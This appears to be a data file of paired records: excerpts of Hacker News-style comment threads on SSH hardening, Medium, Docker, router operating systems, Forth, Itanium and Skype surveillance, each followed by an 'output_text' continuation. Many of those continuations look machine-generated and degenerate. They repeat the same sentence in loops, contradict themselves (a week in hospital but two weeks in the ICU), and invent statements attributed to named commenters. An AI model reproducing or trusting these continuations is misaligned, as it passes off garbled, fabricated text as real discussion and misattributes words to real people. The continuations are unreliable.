a\npositive experience for the user\n\nWhat would the user expect from inputting \"U+200B ZERO WIDTH SPACE\" into a\nform, anyway?\n\n~~~\nttrmw\nI've observed ZWSes appearing in user input for an application I maintain. It\nappears in text pasted from either Outlook or OWA,"} +{"output_text": "'s one of them:\n[http://www.linode.com/forums/viewtopic.php?t=1307](http://www.linode.com/forums/viewtopic.php?t=1307)\n\n~~~\njlgaddis\n> _I'd recommend going a step further on number 4 and put a strong password on\n> your key._\n\nI'm not sure I agree with this. I've been using SSH keys", "input_text": "ING RING\n\ndrudru says: 'hey, good luck with that. gotta go.'\n\n------\nbpatrianakos\nAs we all know security through obscurity only buys you time like the article\npoints out. Please correct me if I'm wrong but a pretty simple solution exists\nhere. I run SSH over port 22 and do the following which I think is a pretty\nreasonable and safe solution (again, please correct me if I'm wrong):\n\n1\\. Configure a decent firewall, edit iptables and disable anything you aren't\nor don't plan to use.\n\n2\\. Disable root login completely.\n\n3\\. Install fail2ban just in case and set it to block IPs of failed attempts\nfor 2 to 24 hours\n\n4\\. Use key based authentication and disable SSH logins using passwords\naltogether.\n\nI'd recommend going a step further on number 4 and put a strong password on\nyour key. A lot of people believe that key based authentication in and of\nitself is enough but if you somehow leak your keys and there's no password on\nthem then an attacker has just easily gained access to your machine. Now I'm\nguilty of not using a password with my keys because like a lot of people it\nfeels like it defeats the purpose but you can actually set things up so that\nyou only need to enter your password once and it won't ask you for it again\nfor a while just like the sudo \"grace period\" which lets you sudo without a\npassword after you've entered it once. I do plan to give my keys a password\nand stop being so lazy in the very near future.\n\nI know the Linode library as well as a few posts that have made it to the\nfront page here explain how to do this. Here"} +{"output_text": " email support, but I'm not\nworried about that.\n\n------\njoshstrange\nI've been using Medium for a while now and I've been very happy with it. I\ndon't think I've ever had a problem with it. I've had a few issues with\ncomments though. I've had a few people comment on my posts and then delete\ntheir comments. I've had a few people comment on my posts and then leave\ncomments that are just", "input_text": " and corruption. Dave has been remarkably consistent in this observation\nover the years.\n\n _\" Well, he did put it on Medium and sent me a link, and I sent back a\ncomment saying that I was worried he'd do that, and unfortunately while I love\nhis post I am reluctant to point to it on Medium. I asked if he'd consider\nputting it somewhere else. He asked where else. Hence the tweet.\"_\n\nOne reason not to put things on medium is the poor url design. Try remembering\nthen typing this url into your browser ~\n[https://medium.com/@davewiner/anywhere-but-\nmedium-5450cb19f2...](https://medium.com/@davewiner/anywhere-but-\nmedium-5450cb19f2c1#.2gv2klp7h)\n\nThe design is ok. We can understand up to the end of the title, _' anywhere-\nbut-medium'_ then we get robot vomit _' 5450cb19f2c1#.2gv2klp7h'_, junk parts\nof the url no use to anyone except machines.\n\n------\nFuturebot\nFor anyone confused about Medium's export feature, it's available under\nSettings->Export Content from the user menu. Worries about platforms not\nproviding this are warranted, but I think Medium already has this covered,\neven if some of the export HTML is messier than some would like.\n\nUntil Medium, I hosted my own blogs on my own web servers (for ~17 years). I\neventually got tired of dealing with updates, comment spam management (even\nwith Akismet and friends), breakin attempts, and all the rest, so I moved\nthere. I'd still like to see friendly URL and"} +{"output_text": " is a lot more difficult than for others.\n\nI think it's a good idea to start with something simple, like a text editor,\nand then move on to something more complex.\n\n------\njamesjyu\nI think it's important to understand the basics of programming before you\nstart writing code.\n\nI think it's also important to understand the basics of programming before you\nstart writing code.\n\n------\njamesjyu\nI think it's", "input_text": " be useful\nto beginners, but that's true of any programming book, and that's easy enough\nto skip over and return to later (especially with the organization of the\ncanonical refactoring book specifically).\n\nA beginning programmer who has learned even the simplest of refactoring\ntechniques (extract method, insert/remove cached value, etc.) will be able to\nlook at a piece of code and see the ways it can be changed, and will also have\na reasonable idea about which changes are more likely to improve the code.\nThey will also have the mental models and vocabulary to talk about, reason\nabout, and understand the code, even if only to themselves. These tools are\nhugely important for beginners. They can transform coding from a task filled\nwith uncertainty, fear, and irregular advancement born from experimentation to\na task filled with confidence, knowledge, and curiosity.\n\nCertainly practice a lot, but don't just blindly stumble about on your own,\nthere's lots of good material out there, learn the techniques and then\npractice applying them, build up your toolkit a bit at a time until you feel\nmore and more comfortable with coding.\n\n------\nrmorrison\nFor what it's worth, it took me several years before I really understood\nprogramming. I distinctly remember thinking that I wasn't making progress, and\nthat I was wasting my time writing silly programs that didn't do anything\nuseful.\n\nHowever, eventually things start to click (though it took me several years).\nYou'll get to a point where things make sense, and you can fathom how you'd go\nabout writing most of the software you use on a daily basis.\n\n------\nsunkencity\nIt took me about 5 minutes to get started writing code.\n\nFor some people programming"} +{"output_text": " systems.\n\nDocker is a new category of virtualization that allows developers to create\ncontainers that can be run on any OS. This means that developers can create\ncontainers that are identical to production environments and can be run on\nany OS. This is a huge win for developers because they can now create dev/test\nenvironments that are identical to production environments.\n\nThe downside of Docker is that it requires more computational resources than\noperating systems. This is a", "input_text": "\n\nWhat am I missing?\n\n~~~\njustizin\nYou can build a docker image in a vagrant VM on OSX and deploy that exact\ndocker image to production.\n\nIf your vagrant image resembles production, it's probably fine, but there's a\nlevel of confidence to be reached from deploying the exact entire self-\ncontained binary, shipping it through QA and staging, and eventually promoting\nit to production.\n\n~~~\npekk\nThis is also a use case for not developing on OS X, which doesn't have\nanything to do with production anyway.\n\n~~~\nmdaniel\nCan you clarify? Do you mean that one should only develop upon the platform\nthat will be used in production?\n\n~~~\njustizin\nYes, the previous commenter is a purist with no battery life on their laptop.\n\nFurther, if you're in the middle of upgrading your production OS, does this\nmean that you need two developer machines?\n\nC'mon!\n\n------\nosipov\nThere are many ways of using Docker and obviously different companies could\ncome up with their own business cases for adopting the technology. So let me\nfocus on one scenario and we can talk about whether it makes sense for your\nenvironment.\n\nSoftware engineering is often difficult because programmers have to deal with\ninconsistent environments for development and for production execution of\ntheir products. Due to mismatches between these environments, developers often\nfound bugs that surface in one environment but not in another.\n\nHardware based virtualization (VMWare, HyperV, etc) helped with the\ninconsistency issue because it enabled developers to create dev/test\nenvironments that could later be replicated into production. However this\ncategory of virtualization requires more computational resources (esp.\nstorage) than operating"} +{"output_text": "\nthe router.\n\n~~~\nDiabloD3\nI'm not saying Linux is the best OS for this, I'm saying that Linux is the\nbest OS for this _right now_.\n\nI'm not saying Linux is the best OS for this _ever_ , I'm saying that Linux is\nthe best OS for this _right now_.\n\nI'm not saying Linux is the best OS for this _ever_ , I'm saying that Linux is\nthe best", "input_text": "------\nAnimats\nNow if they could just get rid of Linux underneath and use something with\nbetter security. L4, maybe. After all, this is for embedded devices which\nbasically run one program.\n\n~~~\nDiabloD3\nI don't know why parent is being downvoted. Linux probably isn't the best OS\nfor this, a microkernel OS or something based on BSD seems to be far saner,\nespecially since we _don 't_ need weird hardware support, all home routers use\nthe same three or four families of MIPS and ARM SoCs.\n\n~~~\nwtallis\nHome routers come with one of three instruction set families (MIPS, ARM,\nPowerPC) with CPUs or SoCs from at least six major manufacturers (Broadcom,\nQualcomm-Atheros, Ralink/MediaTek, Marvell, Freescale/NXP, Realtek) and WiFi\ninterfaces from any of them except Freescale but plus Quantenna. And there are\nmultiple generations of hardware in the market at any one time. That adds up\nto a hardware ecosystem that is vastly more diverse than PCs; this is in no\nway a narrow scope of problem. And I'm ignoring all the devices that also have\na cable, DSL, or cellular modem.\n\nThe boundaries of what tasks are handled by the CPU vs by dedicated offloads\non the SoC vs by the NIC (which usually has software of its own) differs with\nevery manufacturer and every hardware generation. The job we want our routers\nto do is a moving target as the industry continues to develop new routing and\nconfiguration protocols (eg. Homenet) and new QoS techniques and new WiFi rate\ncontrol techniques that need to be incorporated into the software running on"} +{"output_text": " the immune system and recovery from illness.\n\n~~~\ntrashtester\nI don't know about that. I've read that sleep deprivation is associated with\nincreased risk of infection.\n\n~~~\nNasrudith\nI don't know if that is true but it is a known effect.\n\n------\njedberg\nI've been in the hospital for a week and a half now. I've been in the ICU for\ntwo weeks. I've been in", "input_text": "'s a bit like the soldier checking if there is a bullet in the chamber when\npicking up a gun. Even if you experience a gun that goes off by acciden only\nonce, it becomes really easy to understand the thousands of times the soldier\nwill do this when he knows there is no bullet there.\n\n~~~\nflippyhead\nThis is interesting and not something I'd considered. I wonder though if\nthey've got the balance right. These protocols were developed no doubt before\nit was really understood how incredibly dangerous poor sleep is to our health\nmost especially during recovery from illness.\n\n~~~\ntrashtester\nIts a mix of protocols, procedures, habits and personal biases, as are most\nsuch things in most workplaces.\n\nBut most of all, I think it is an attention thing. For the staff, a patient\nbeing sleep depraved for a couple nights is very low on their list of\nconcerns. They see people die almost every day.\n\nFor the patient, the emphasis is different, especially for the ones that are\nthere for minor issues.\n\nMedically, a few nights with reduced sleep quality is unlikely to make a big\ndifference.\n\nNow, if it goes on for weeks or months, that is another matter. Still, more\npeople are probably seriously injured or die from bedsores sleep depravation.\nNot to mention those that die from fall injuries caused by trying to walk to\nthe bathroom unassisted. (The latter is the most frequent case of preventable\nfatal injuries aquired in most hospitals, at least in my country)\n\nFrom my point of view, most complaints about loss of sleep in hospital are in\nthe same category as complaining about the food. 1st world problems.\n\n~~~\nNasrudith\nExcept sleep is important to"} +{"output_text": " is and what it should be.\n\nI think the best we can hope for is that we can all be more aware of the\nproblem and that we can all be more aware of the solutions.\n\n~~~\njoe_the_user\nI think you're right that the problem is complex and that it's hard to\nunderstand the problem.\n\nBut I think the problem is not that we don't understand the problem. The\nproblem is that we don't understand the", "input_text": "\noverwhelmingly impossible it is for everyone to confront the same realizations\nin order for us to course-correct and avoid what increasingly feels like an\ninevitable disaster.\n\nNeil Postman was both somewhat deterministic in his beliefs about our future\nand then reluctantly optimistic when pushed. In an interview he jokingly\nqualified his optimistic statement with \"but remember I'm an American which\nmeans I'm eternally optimistic\". I think he was also very struck with this\nfeeling, that it is all so clear what is happening yet the dance continues and\nto warn people, to educate, to improve things in a systemic way that'd be\nsufficient enough in capacity to combat these omnipresent machinations is so\noverwhelmingly difficult and complex that one feels a bit hopeless.\n\nIn that same interview he said \"..to the extent that there would be a serious\nconversation among Americans about these issues I think we could pull\nthrough.\" (Link to end of interview:\n[https://youtu.be/FRabb6_Gr2Y?t=27m](https://youtu.be/FRabb6_Gr2Y?t=27m))\n\nBecause this problem is so complex and deeply-entrenched in so many facets of\nour existence whatever course-correction can be made will have to be the\nresult of a phenomenon which I'd describe as very much \"emergent\". And that\nphenomenon will be an amalgamation of shifts in thought and behavior spanning\nall facets of culture and society. You could say \"organic movement\" but I am\nnot even so hopeful as to think one or a few \"organic\" movements would\nsuffice. I believe the shift would have to be systemic but also cultural, only\na shift in our beliefs- in what our culture"} +{"output_text": " are fixed, you can start to think about what you want to\ndo next.\n\n------\njasonkester\nI'm not sure I understand the question.\n\nYou're not doing anything? That's a problem?\n\nI'm not sure I understand the question.\n\nYou're not doing anything? That's a problem?\n\n~~~\njasonkester\nI'm not sure I understand the question.\n\nYou're not doing anything? That's", "input_text": "www.youtube.com/watch?v=0CDXJ6bMkMY](https://www.youtube.com/watch?v=0CDXJ6bMkMY)\n\n[http://www.startupsfortherestofus.com/archives](http://www.startupsfortherestofus.com/archives)\n\nI think patio11 should be your first go to on this. He should have lots of\nrelevant advice.\n\nGood luck, take care of yourself.\n\n------\ncodingdave\n> I haven't really managed to do anything (the same problem I had when I was\n> working for other companies).\n\nI've seen this same pattern in the software industry repeat itself many times,\nat all levels. People are not hitting the level of success they want, and\nthink that doing their own company will solve all the problems. But it\ndoesn't. As you have found, the reasons your career stagnates will normally\nalso cause struggles when you are the boss. Instead, I recommend that you\nfirst learn to be productive in any environment, for any boss. Then you need\nto start finding better bosses and environments. And finally decide if you,\npersonally, are the best boss for yourself. This is a process that take time,\neffort, and lots of honest self-evaluation. But you'll be a more successful\nand happier person for it.\n\nI don't know your details, but it sounds like your next step on that path\nwould be to get somewhere that you are comfortable and happy outside of work,\nso you have more energy to reflect on why you struggle at work. Find a\nmentor/coach to help you figure out why you are not productive, and fix those\nproblems. Once those"} +{"output_text": " \"we're going to change the world\" kind of\nexaggerations.\n\nI'm not saying that the press is intentionally lying, but I think it's\nimportant to realize that the press is not a neutral party. It's a business,\nand it's in the business of selling stories.\n\n~~~\nmatt4077\nI'm not sure I understand your point.\n\nThe NYT columnist was a journalist, and the TechCrunch article was a\n", "input_text": "um in Kampala, where they interviewed a guy\nliving in the slum who's job it was to clean out the public toilets there. He\nclaimed it was one of the 'best jobs', because he was paid on time, given a\nuniform/gloves to wear instead of having to buy one himself, set his own\nhours, and the labor was not back breaking agricultural labor in the open sun\nall day. He also remarked he was able to contribute to his community in a\npositive way by keeping it clean, something all the other residents rewarded\nhim for with various tips as thanks for his service since they had to use\nthose toilets everyday. Wasn't the response I expected.\n\n~~~\nishjoh\nThat's very interesting, I don't suppose you know the name of the documentary?\n\nI wonder if the biggest reason he didn't hate his job was the gratitude from\nother people. One of my first jobs was stocking shelves on the graveyard shift\nat a grocery store, and the 1 hour or so before the store closed I would\noccasionally help shoppers find things, help take heavy things to their car,\nor help them reach items high on the shelf. A sincere thank you always made\nthe 7h of mind numbing stocking go a lot faster.\n\n------\nm0zg\nI (and people I directly worked with) have been interviewed a couple of times\nby what one would call \"mainstream press\". Once by a NY Times columnist and\nanother time by TechCrunch.\n\nThe resulting articles bore very little semblance to what we said, omitted\ncrucial facts, and contained the kinds of exaggerations that neither I nor any\nof the people interviewed would ever make. I'm talking \"breaking the laws of\nphysics\" kind of exaggerations, and"} +{"output_text": " labor for the US?\n\n~~~\njessaustin\nI don't think so. The Haitian government is corrupt and incompetent, and the\npeople are generally poor.\n\n~~~\nswampthinker\nI'm not sure if you're being serious or not.\n\n~~~\njessaustin\nI'm not sure if you're being serious or not.\n\n------\njessaustin\nI'm not sure if this is a good idea. The", "input_text": "4y)\n\n~~~\nanigbrowl\nDon't confuse authority with organization.\n\n------\npermadefroster\nPoorly constructed dwellings got lots of people killed during the 2010\nearthquake. It might be bad news to see recovery take shape as structures\nbuilt without paying attention to safety codes.\n\n[https://en.wikipedia.org/wiki/2010_Haiti_earthquake](https://en.wikipedia.org/wiki/2010_Haiti_earthquake)\n\n~~~\nmnm1\nI'd rather take the risk of dying inside a poorly constructed dwelling in an\nearthquake than the countless risks of being homeless, and I'm sure most\nHaitians and people in general would too. Brings up the question of whether\nsafety codes and other such nonsense even have a place when the alternative is\nhomelessness. Clearly the US seems to think so, but I certainly wouldn't\nfollow our lead on this issue considering how poorly we've dealt with our own\nhomeless problem while keeping vast quantities of real estate empty or not\neven built.\n\n~~~\ndinkumthinkum\nSafety code nonsense? Surely you jest? You cite homelessness as an argument\nagainst safety codes? Sure, we all want to decimate the scourge of\nhomelessness but do you have a sense of how small a percentage of the US is\nactually homeless? You would have us give up on safety codes for.... what? A\nshanty for everyone?\n\n------\nerentz\nThis kind of looks like just another continuation of the man made ecological\ndisaster in Haiti. But in lieu of real solutions, people are going to do what\nthey need to.\n\n------\nswampthinker\nWould Haiti be a good source of"} +{"output_text": " school kids\nlearning to program?\n\n~~~\npjmlp\nI am not sure what you mean by \"classic hacker lore\", but I am sure that\nthere are plenty of people from both kinds of backgrounds in all kinds of\ncommunities.\n\nI am not sure what you mean by \"high school kids learning to program\", but\nsurely there are plenty of people from both kinds of backgrounds in all kinds\nof communities.\n\n~~~\nsteve", "input_text": " improved by improving a dependency (I wonder how a\nfunction that checks if a number is negative can be improved...).\n\nAs far as I know there is no other toolchain on this planet where it's done\nthis way, which together with the clarification above should be telling you\nand sindresorhus something!\n\n~~~\ndozzie\n> As far as I know there is no other toolchain on this planet where it's done\n> this way [...]\n\nIf by \"this way\" you mean microdependencies in JavaScript, you should also\nlook at Ruby, which goes in a similar direction. And at Python, which\napparently tries to follow the lead.\n\n~~~\npjmlp\nSomehow I see a common theme there...\n\n~~~\nworkusername\nYes, let's dig into it.\n\n~~~\npjmlp\nFrom my point of view, all dynamic languages usually used by people without CS\nbackground.\n\n~~~\nsteveklabnik\nMy first five years after getting my CS degree, all of my paid work was in\nlanguages with dynamic typing.\n\n~~~\npjmlp\nSome people apparently took my comment personally, but it doesn't change the\nfact that many in those communities aren't from a CS background.\n\nWhich is why some decisions, like the whole npm modules, or the ruby gems\nbefore bundles (if I get it right), get to be taken without consideration how\nit works in large scale.\n\nOf course people with CS background also use dynamic languages. I have Python,\nSmalltalk, Lisp, Perl, JavaScript on my CV.\n\n~~~\nsteveklabnik\nThere are lots of people from both kinds of backgrounds in all kinds of\ncommunities; how much of classic hacker lore is about high"} +{"output_text": ", that's fine. But if\nyou want to do something that will actually change the world, you need to\nstart with the assumption that we don't know how to do it yet.\n\n~~~\njules\nI think you are right. I think the only thing that is certain is that we will\nnot be able to do it in the next few years.\n\n------\njules\nI think the most important thing is to get people to understand that we are\n", "input_text": "'s work on sustained outposts on a\nworld no more than three days' travel away first._\n\nIf the only thing to be gained from the moon is a stepping stone to Mars, then\nit's a waste of time. The environmental challenges are just about all\ndifferent, so it's not even a good rehearsal. That's more like \"Learn to swim\nbefore you run. Let's work on movement while partially buoyant, not subject to\na full G, first.\"\n\nI'm sure you could train babies to swim-crawl-walk. But if you want to walk,\nit's an unnecessary detour.\n\n~~~\ntom_rath\nI'd like to believe in Zubrin's plan more than anyone (I still have a well-\nhighlighted copy of his \"Mars Direct - Humans to the Red Planet by 1999\" Acta\nAstronautica paper amongst my many cabinets of the stuff) but that plan is\nbuilt on assumption.\n\n \n \n >However, we can't even construct a reliable artificial\n >biosphere fully enclosed here on Earth!\n \n Where do you get that from?\n \n\nFrom the fact that no one has done it yet. Ever.\n\nWe just don't know how to live on other worlds. We are almost completely\nignorant of the complexities involved in the process and have a whole bunch of\nunpleasant discoveries to make yet. That's not to say it _can't_ be done and\nthat we don't know what should happen in theory, but we have never done it\nbefore. Ever. There is no experience to build upon.\n\nIf you want another flags and footprints mission to plant a candelabra of\npennants on Mars and then scurry back after a few days"} +{"output_text": " not sure what you mean by this. I'm not sure what you mean by 'most of the\nwebsites'.\n\n> Developers are always looking for shinning things. And in the end you end up\n> with really complex architecture.\n\nI'm not sure what you mean by this.\n\n> I'm just saying that in 95% of the cases. You don't need those tools. But\n> only simple \"old techs\" that are battle tested", "input_text": " bit of\nvanilla JS, and progressively enhances the site.\n\n> Things were done simple, no need to reinvent everything each time :)\n\nThings are there for a reason, why not just go to the 70s/80s where there was\nno networking, servers, or bloated JS?\n\n~~~\nedhelas\n> Gatsby is a static website generator that makes bunch of static HTML leaves\n> a bit of vanilla JS, and progressively enhances the site.\n\nThat was exactly my point. We are currently seeing the whole thing looping :)\n\n> Things are there for a reason, why not just go to the 70s/80s where there\n> was no networking, servers, or bloated JS?\n\nReact/Angular/Vue can be used for very specific use cases indeed and can be\nreally powerful tools. But lets face it, for most of the websites, you don't\nneed those tools. It's even worst most of the time regarding browser\nperformances, accessibility, SEO, navigation.\n\nDevelopers are always looking for shinning things. And in the end you end up\nwith really complex architecture.\n\nI'm just saying that in 95% of the cases. You don't need those tools. But only\nsimple \"old techs\" that are battle tested and works flawlessly.\n\n~~~\npcr910303\n> That was exactly my point. We are currently seeing the whole thing looping.\n\nIf Gatsby is exactly the format you like, what's the problem? The fact that it\nuses React as a dependency? Because... it uses 'npm', the worst package\nmanager of all history?\n\n> But let's face it, for most of the websites, you don't need those tools.\n\nI'm"} +{"output_text": ". I also think it is\nimportant to learn about the history of computing and the people who have\ninfluenced the way we think about computing.\n\n~~~\njoe_the_user\nI think you're missing the point.\n\nThe point is that the \"Forth\" you're using is not the same \"Forth\" that was\nused in the original article.\n\nThe original article was about a language that was designed to be fast.\n\nThe", "input_text": "\nTe key argument behind this thread centered around my assertion that Forth can\nbe orders of magnitude faster than assembler. That means 10, 100, 1000 --or\nmore-- times faster to code a solution in Forth than in assembler.\n\nI haven't done a any serious work in Forth in about ten years, so coming up\nwith an example for this thread would have consumed time I simply don't have\nright now.\n\nThe reality is that ANY language is orders of magnitude faster than assembler.\nThe idea that this assertion is being challenged at all is, well, surprising.\n\nI happen to be working on a project that, among other things, makes extensive\nuse of nested state machines. The main state machine has 72 states and some of\nthe children FSM's have up to a dozen states. Writing this in C it takes mere\nminutes to lay down a bug free structure for the execution of the entire FSM\nset. It should go without saying that doing the same in assembler would take\nfar longer and result in a mess of code that would be difficult to maintain.\n\nAssembler has its place. I have written device drivers, disk controllers,\nmotor controllers, fast FIR filters, pulse/frequency/phase measurement and a\nmyriad of other routines across a number of processors all in assembler. These\ndays I'd venture to say the vast majority of embedded systems are done in C.\nCoding is faster, far more maintainable and embedded optimizing compilers do\nan excellent job of producing good, tight and fast machine code. As much as I\nlove and enjoy Forth this is one of the reasons I rarely use it these days.\n\nI still think it is important to learn about TIL's as it adds a layer of\nthinking outside the box one would not otherwise have"} +{"output_text": " think about the\nbenefits of a degree.\n\n~~~\ncyang08\nI think it's a good point. I think the benefits of a degree are pretty\nstraightforward:\n\n1\\. It's a credential.\n\n2\\. It's a way to get a job.\n\n3\\. It's a way to get a raise.\n\n4\\. It's a way to get a promotion.\n\n5\\. It's a way to get a", "input_text": " not having a ball ;-)\nHopefully in the 3rd year, once I get to pick electives I will enjoy it much\nmore.\n\n------\ngjulianm\nAbout the numerical argument, that's not a good argument. The fact that 92,5%\nof the people on the Forbes 30 Under 30 for Tech list did not drop out is\nmeaningless by itself. Why?\n\nImagine that 92,5% of all population had degrees. Or even better: that 99% of\nall population had degrees.\n\nIt'd be more meaningful if you added the percentage of the population with\ndegrees, the % of people without degrees who created failed startups...\n\nBut, anyways, I don't think that having/not having a degree is a fundamental\nfactor in the success of your startup. Maybe you're already good enough to go\nforward. Maybe your idea is so great it compensates your lack of technical\nknowledge. Frankly, I think that dropping college to do a startup is neither a\ngood or bad idea. It depends on you, your circumstances and the startup\nitself.\n\n------\ncyang08\nHi all. What sparked this post was the release of this year's Forbes 30 Under\n30 for Tech. Turns out almost everyone on the list (92.5%, check article for\nmore stats) did NOT drop out, so thought the numbers + anecdotal + personal\nexperience would make a good case for sticking to school.\n\n~~~\npitt1980\nwant to guesstimate how many people on the Forbes 30 for 30 list had private\ncollege paid for by their upper middle class (if not better parents)?\n\nI think it makes sense to think seriously about the restrictions taking on\neducation debt will place on your life in the future, and to"} +{"output_text": "rible_ for this purpose, because\nit's a broadcast medium.\n\n~~~\npas\nI don't think it's naive, I think it's just a matter of time.\n\nI think the line is already being crossed, and it's not a matter of time.\n\nI think the line is already being crossed, and it's not a matter of time.\n\nI think the line is already being crossed, and it's not a matter of time.\n\n", "input_text": "\ndoing even more filtering. Given that crypto is now computationally\ninexpensive, this seems straightforward with anything that is not already in\nIP/TCP/UDP headers.\n\n~~~\npas\nIt lines up, I just wanted to point out that there needs to be no malicious\nexploitative intent, this kind of network state degradation naturally follows\nfrom the always ongoing optimization of resource allocation by actors involved\nin the process. And thus there is a natural priority of features when it comes\nto network equipment design, development, production, testing, marketing,\nsupport and eventual replacement.\n\nAnd yes, crypto helps with enforcing the layers, it forces engineers to move\nto a different part of the solution space when it comes to doing things that\nused to be done with DPI/snooping/etc. (A lot of the meddleboxes were sort of\nrational responses, like a MITM caching proxy, DNS hijacking, captive portals,\nblablabla. And they were quick and dirty.)\n\n~~~\nmindslight\nI stand by the characterization of \"exploitative\". The point of protocols is\nto mediate between parties with _diverging_ interests. The parties deploying\nmeddle boxes are rationally trying to further their own interests, but they\nare doing so by stepping over the delineating line. In 2019, the idea that\nneighborly courtesy would preserve the line was obviously naive. Now we need\nto build concrete walls.\n\nAnd lest you think that my viewpoint is completely at odds with network\nadministrators - elsewhere I've argued that raw unrestricted IP access will\neventually come to be seen as a bug. Surveillance companies backhaul much of\ntheir collect unhindered precisely because \"Internet access\" is given as an\nall-or-nothing condition. IP is actually _hor"} +{"output_text": "-guy-earned-the-opportunity-to-co-found-a-tech-startup/\n======\njason_sh\nI'm the author of this article. I'm a serial entrepreneur and I've been\nworking on this startup for the past year. I'm also a serial entrepreneur who\nhas been working on this startup for the past year.\n\nI'm not a tech guy, I'm a business guy. I'm not a tech guy,", "input_text": " be used to buy lunch (and\nother such small transactions). The cost of decentralization is too high, and\nwe have no way to decrease those costs by the orders of magnitude needed to\nhandle the transactional loads of things like buying lunch. We are working to\ndecrease them, and have recently succeeded in a modest improvement on the\nBitcoin network, but orders of magnitude is... out of reach without some\nmassive innovation.\n\nIt's more likely that on-top-of networks like Lightning Network and its\nevolutions built on top of Bitcoin will be the thing people interact with on a\ndaily basis.\n\nThe average person will get their paycheck in Bitcoin, but do their daily\ntransactions using IOU networks like Lightning that settle behind the scenes\non a less frequent basis. This allows the average person to use Bitcoin as\ntheir store of value, giving them by default the advantages that traditionally\nonly a small fraction of the population have had, but still allowing cheap\ndaily transactions for buying lunch.\n\nThat doesn't change the meaning of the article. But it's important to mention\nhow Bitcoin is evolving to fulfill the future the article proposes.\n\nSo... maybe that's the future. Or maybe a side chain will evolve with\ninflationary properties and we just use that to buy lunch and get paid. Maybe\nevery country will have their own cryptocurrency, pseudo-centrally controlled,\nwith atomic swaps for global trade.\n\nBut one thing I know for sure. Software is eating the world. You either choose\nto ride that wave, or you get eaten by it.\n\n \n\nHow One Business Guy Earned the Opportunity to Co-Found a Tech Startup - jasonshen\nhttp://www.jasonshen.com/2012/the-story-of-how-a-business"} +{"output_text": " I put the laptop on a table and\nused the magnets to attach the stripes to the table.\n\nIt works pretty well, but I'm not sure if it's the best solution.\n\n~~~\njlgreco\nI have a similar solution for my laptop. I have a small piece of plastic\n(about the size of a credit card) that I put in the bottom of the laptop. It\nhas a small hole in it, and a small magnet on the other", "input_text": " with them, and by not buying laptops without them [which may be\ndifficult to bootstrap now, given that almost no laptop has a hardware on/off\nswitch anymore]).\n\n~~~\njcadam\nI've found many of those supposedly 'hardware' wifi kill switches were\nsoftware controlled (When I installed Linux on an old Dell, it completely\nignored the state of the wifi switch).\n\nI want a switch that physically cuts power to a device, but no... :(\n\n------\nHilyin\nI guess this is just as good place as any to bring this up. In current OS X,\nyou cannot disable your mic. You can turn down the input volume, but never\ndisable. All malware needs to do is raise the input volume and it can listen\nto you to its hearts content.\n\nAnd its worse with your iPhone.\n\n~~~\nthe_common_man\nCan someone confirm if this is actually true? Sounds too far fetched that you\ncannot disable the mic (i.e not muting, I assume?).\n\n~~~\nHilyin\nJust look around on the internet, you'll find the same thing. I researched\nthis a few weeks ago and was amazed.\n\nYou basically have to disable the audio driver in OSX to disable it, and doing\nthat, means you can't play audio at all. And even that isn't enough, it\ntechnically can be hijacked at an even lower level.\n\n------\nssebastianj\nI was looking for a way to cover the mics and webcam integrated in my laptop\nwhich doesn't require a tape. So, I grabbed a couple of those magnets stripes\nusually found on fridges and then, using a scissor, made two little\nrectangular stripes and a larger one. Next,"} +{"output_text": " chats, but I did not see any\nsign of the \"re-centralization\" you speak of.\n\n~~~\ntptacek\nI'm not sure what you're trying to say here.\n\n~~~\nthrowawaykf05\nI'm saying that I did not see any sign of the \"re-centralization\" you speak of\nin the network traffic I observed.\n\n~~~\ntptacek\nI'm not sure what you're trying", "input_text": "Intriguing that this renders Tor essentially transparent in some contexts -\nthat could almost seem by design.\n\nI would have commented on your tinfoil hat, except for what Microsoft did to\nSkype post-acquisition:- Completely rewriting its protocol architecture from\none which was P2P with end-to-end encryption and practically impossible to\nwiretap or monitor, to a centralized architecture (ostensibly for scalability\nreasons) which made it much more easier to wiretap or obtain metadata.\n\n[http://www.zdnet.com/article/skype-ditched-peer-to-peer-\nsupe...](http://www.zdnet.com/article/skype-ditched-peer-to-peer-supernodes-\nfor-scalability-not-surveillance/)\n\n[http://www.theguardian.com/world/2013/jul/11/microsoft-\nnsa-c...](http://www.theguardian.com/world/2013/jul/11/microsoft-nsa-\ncollaboration-user-data)\n\nHere's a choice quote from the above article.\n\n\"In July last year, nine months after Microsoft bought Skype, the NSA boasted\nthat a new capability had tripled the amount of Skype video calls being\ncollected through Prism;\"\n\n~~~\nthrowawaykf05\nWhen I heard about the \"re-centralization\" of Skype, I ran an experiment. I\nset up calls with a couple of people in various locations and monitored my\nnetwork connections (on OSX I used nettop). Voice and video traffic is still\ndirect P2P. It was the same when I tried it again last year. Not that I did\nnot investigate messaging connections, nor group"} +{"output_text": " didn't get the same treatment.\n\n~~~\nghaff\nI think it's fair to say that Intel was pretty much the only company that\nreally had a good idea of what they wanted to do with 64 bit.\n\n------\njandrese\nI'm not sure why they are so worried about the performance of the new\narchitecture. It's not like they are going to be shipping a new CPU every\nyear.\n\n~~~\njandrese\nI guess", "input_text": " probably be in a similar place had Intel just decided\nItanium was a bad idea from the start.\n\n~~~\nchx\nWhat...? Yamhill was an _answer_ to AMD64. The first rumors appeared in 2002\nwhere AMD announced AMD64 in 1999, released the full specs in 2000 and\nactually shipped the first Opteron CPU in 2003 April, Intel shipped the Nocona\nin June 2004. This trailing remained for a while -- LAHF/SAHF in 64 bit was\nshipped in March 2005 by AMD but only December 2005 by Intel.\n\n~~~\nghaff\nWell sure. Intel much preferred Itanium to succeed. Absent AMD, it\u2019s possuble\nItanium would have muddled through in the end. (Or something completely\ndifferent would have played out.)\n\nit\u2019s safe to say that Intel has some sort of contingency plan going back quite\na while. Some analysts even thought they saw features in Pentium that\nsuggested 64-bit readiness.\n\nBut it wasn\u2019t until Opteron\u2019s success and its adoption by esp. HP and Dell\nthat Intel felt they needed to make their 64 bit extensions plan public.\n\n~~~\nFullyFunctional\nYou are correct. What people don't seem to appreciate are the internal\nconflicts within large organizations. There were in fact massive internal\nconflicts at Intel between the Itanic and the legacy. Companies that large\ndoesn't \"think with a single brain\".\n\nRandom aside: Itanic was HP's brainchild that was adopted and refined at Intel\n(and far from all of Intel was excited about that). Having experienced a VLIW\nthat _didn't_ suck (the internal engine of Transmeta's Astro 2/Efficieon) I'm\nsad that EPIC/Itanic"} +{"output_text": "\nI think you're right, but I think the point is that the phone is the\n\"everything\" device.\n\nI have a Galaxy S7 Edge and I love it. I have a Nexus 6P and I love it. I\nhave a Moto G and I love it. I have a Moto X Pure and 